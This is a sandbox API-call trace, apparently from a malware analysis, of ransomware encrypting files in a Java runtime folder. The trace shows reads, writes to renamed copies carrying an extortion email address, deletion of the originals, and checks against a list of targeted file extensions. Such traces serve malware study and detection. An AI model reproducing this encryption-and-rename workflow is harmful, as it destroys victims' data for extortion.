	[0094.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.883] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.883] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.883] GetLastError () returned 0x0
	[0094.883] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xe040, lpOverlapped=0x0) returned 1
	[0094.896] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe050, lpOverlapped=0x0) returned 1
	[0094.898] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.898] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0094.898] SetEndOfFile (hFile=0x37c) returned 1
	[0094.898] CloseHandle (hObject=0x37c) returned 1
	[0094.898] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.898] SetEndOfFile (hFile=0x324) returned 1
	[0094.899] CloseHandle (hObject=0x324) returned 1
	[0094.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.899] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1
	[0094.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.900] lstrlenW (lpString=".doc") returned 4
	[0094.900] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.900] lstrlenW (lpString=".docx") returned 5
	[0094.900] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0094.900] lstrlenW (lpString=".pdf") returned 4
	[0094.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.900] lstrlenW (lpString=".xls") returned 4
	[0094.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.900] lstrlenW (lpString=".xlsx") returned 5
	[0094.900] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0094.900] lstrlenW (lpString=".ppt") returned 4
	[0094.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.900] lstrlenW (lpString=".zip") returned 4
	[0094.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.900] lstrlenW (lpString=".rar") returned 4
	[0094.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.900] lstrlenW (lpString=".bz2") returned 4
	[0094.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.900] lstrlenW (lpString=".7z") returned 3
	[0094.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.900] lstrlenW (lpString=".dbf") returned 4
	[0094.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.900] lstrlenW (lpString=".1cd") returned 4
	[0094.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.900] lstrlenW (lpString=".jpg") returned 4
	[0094.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.901] lstrlenW (lpString=".doc") returned 4
	[0094.901] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString=".docx") returned 5
	[0094.901] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0094.901] lstrlenW (lpString=".pdf") returned 4
	[0094.901] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString=".xls") returned 4
	[0094.901] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString=".xlsx") returned 5
	[0094.901] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0094.901] lstrlenW (lpString=".ppt") returned 4
	[0094.901] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.901] lstrlenW (lpString=".zip") returned 4
	[0094.901] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString=".rar") returned 4
	[0094.901] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.901] lstrlenW (lpString=".bz2") returned 4
	[0094.901] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.901] lstrlenW (lpString=".7z") returned 3
	[0094.901] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.901] lstrlenW (lpString=".dbf") returned 4
	[0094.901] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.901] lstrlenW (lpString=".1cd") returned 4
	[0094.901] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0094.901] lstrlenW (lpString=".jpg") returned 4
	[0094.901] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.902] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.902] lstrlenW (lpString="prism_sw.dll") returned 12
	[0094.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.902] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=97856) returned 1
	[0094.902] CloseHandle (hObject=0x324) returned 1
	[0094.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20
	[0094.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.902] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.902] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.903] GetLastError () returned 0x0
	[0094.903] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x17e40, lpOverlapped=0x0) returned 1
	[0094.916] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x17e50, lpOverlapped=0x0) returned 1
	[0094.919] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.919] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.919] SetEndOfFile (hFile=0x37c) returned 1
	[0094.919] CloseHandle (hObject=0x37c) returned 1
	[0094.919] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.919] SetEndOfFile (hFile=0x324) returned 1
	[0094.921] CloseHandle (hObject=0x324) returned 1
	[0094.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.921] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1
	[0094.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.921] lstrlenW (lpString=".doc") returned 4
	[0094.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.921] lstrlenW (lpString=".docx") returned 5
	[0094.921] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1
	[0094.921] lstrlenW (lpString=".pdf") returned 4
	[0094.921] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.921] lstrlenW (lpString=".xls") returned 4
	[0094.921] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.921] lstrlenW (lpString=".xlsx") returned 5
	[0094.921] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1
	[0094.921] lstrlenW (lpString=".ppt") returned 4
	[0094.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.921] lstrlenW (lpString=".zip") returned 4
	[0094.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.921] lstrlenW (lpString=".rar") returned 4
	[0094.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.921] lstrlenW (lpString=".bz2") returned 4
	[0094.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.922] lstrlenW (lpString=".7z") returned 3
	[0094.922] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.922] lstrlenW (lpString=".dbf") returned 4
	[0094.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.922] lstrlenW (lpString=".1cd") returned 4
	[0094.922] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.922] lstrlenW (lpString=".jpg") returned 4
	[0094.922] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.922] lstrlenW (lpString=".doc") returned 4
	[0094.922] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.922] lstrlenW (lpString=".docx") returned 5
	[0094.922] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1
	[0094.922] lstrlenW (lpString=".pdf") returned 4
	[0094.922] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.922] lstrlenW (lpString=".xls") returned 4
	[0094.922] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.922] lstrlenW (lpString=".xlsx") returned 5
	[0094.922] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1
	[0094.922] lstrlenW (lpString=".ppt") returned 4
	[0094.922] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.922] lstrlenW (lpString=".zip") returned 4
	[0094.923] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.923] lstrlenW (lpString=".rar") returned 4
	[0094.923] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.923] lstrlenW (lpString=".bz2") returned 4
	[0094.923] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.923] lstrlenW (lpString=".7z") returned 3
	[0094.923] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.923] lstrlenW (lpString=".dbf") returned 4
	[0094.923] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.923] lstrlenW (lpString=".1cd") returned 4
	[0094.923] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0094.923] lstrlenW (lpString=".jpg") returned 4
	[0094.923] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.923] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.923] lstrlenW (lpString="rmid.exe") returned 8
	[0094.923] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.923] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=15936) returned 1
	[0094.923] CloseHandle (hObject=0x324) returned 1
	[0094.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20
	[0094.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.924] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.924] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.924] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.924] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.924] GetLastError () returned 0x0
	[0094.924] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x3e40, lpOverlapped=0x0) returned 1
	[0094.946] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x3e50, lpOverlapped=0x0) returned 1
	[0094.947] ReadFile (in: hFile=0x324, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.947] WriteFile (in: hFile=0x37c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.948] SetEndOfFile (hFile=0x37c) returned 1
	[0094.948] CloseHandle (hObject=0x37c) returned 1
	[0094.948] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.948] SetEndOfFile (hFile=0x324) returned 1
	[0094.949] CloseHandle (hObject=0x324) returned 1
	[0094.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.949] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1
	[0094.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.949] lstrlenW (lpString=".doc") returned 4
	[0094.949] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.949] lstrlenW (lpString=".docx") returned 5
	[0094.949] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0094.949] lstrlenW (lpString=".pdf") returned 4
	[0094.949] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.949] lstrlenW (lpString=".xls") returned 4
	[0094.949] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.949] lstrlenW (lpString=".xlsx") returned 5
	[0094.949] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1
	[0094.949] lstrlenW (lpString=".ppt") returned 4
	[0094.949] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.949] lstrlenW (lpString=".zip") returned 4
	[0094.950] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.950] lstrlenW (lpString=".rar") returned 4
	[0094.950] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.950] lstrlenW (lpString=".bz2") returned 4
	[0094.950] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.950] lstrlenW (lpString=".7z") returned 3
	[0094.950] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.950] lstrlenW (lpString=".dbf") returned 4
	[0094.950] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.950] lstrlenW (lpString=".1cd") returned 4
	[0094.950] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.950] lstrlenW (lpString=".jpg") returned 4
	[0094.950] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.950] lstrlenW (lpString=".doc") returned 4
	[0094.950] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.950] lstrlenW (lpString=".docx") returned 5
	[0094.950] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0094.950] lstrlenW (lpString=".pdf") returned 4
	[0094.950] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.950] lstrlenW (lpString=".xls") returned 4
	[0094.950] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.950] lstrlenW (lpString=".xlsx") returned 5
	[0094.951] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1
	[0094.951] lstrlenW (lpString=".ppt") returned 4
	[0094.951] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.951] lstrlenW (lpString=".zip") returned 4
	[0094.951] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.951] lstrlenW (lpString=".rar") returned 4
	[0094.951] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.951] lstrlenW (lpString=".bz2") returned 4
	[0094.951] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.951] lstrlenW (lpString=".7z") returned 3
	[0094.951] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.951] lstrlenW (lpString=".dbf") returned 4
	[0094.951] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.951] lstrlenW (lpString=".1cd") returned 4
	[0094.951] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47
	[0094.951] lstrlenW (lpString=".jpg") returned 4
	[0094.951] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.951] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.951] lstrlenW (lpString="jvm.dll") returned 7
	[0094.951] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.364] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8809536) returned 1
	[0095.364] CloseHandle (hObject=0x35c) returned 1
	[0095.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20
	[0095.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0095.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
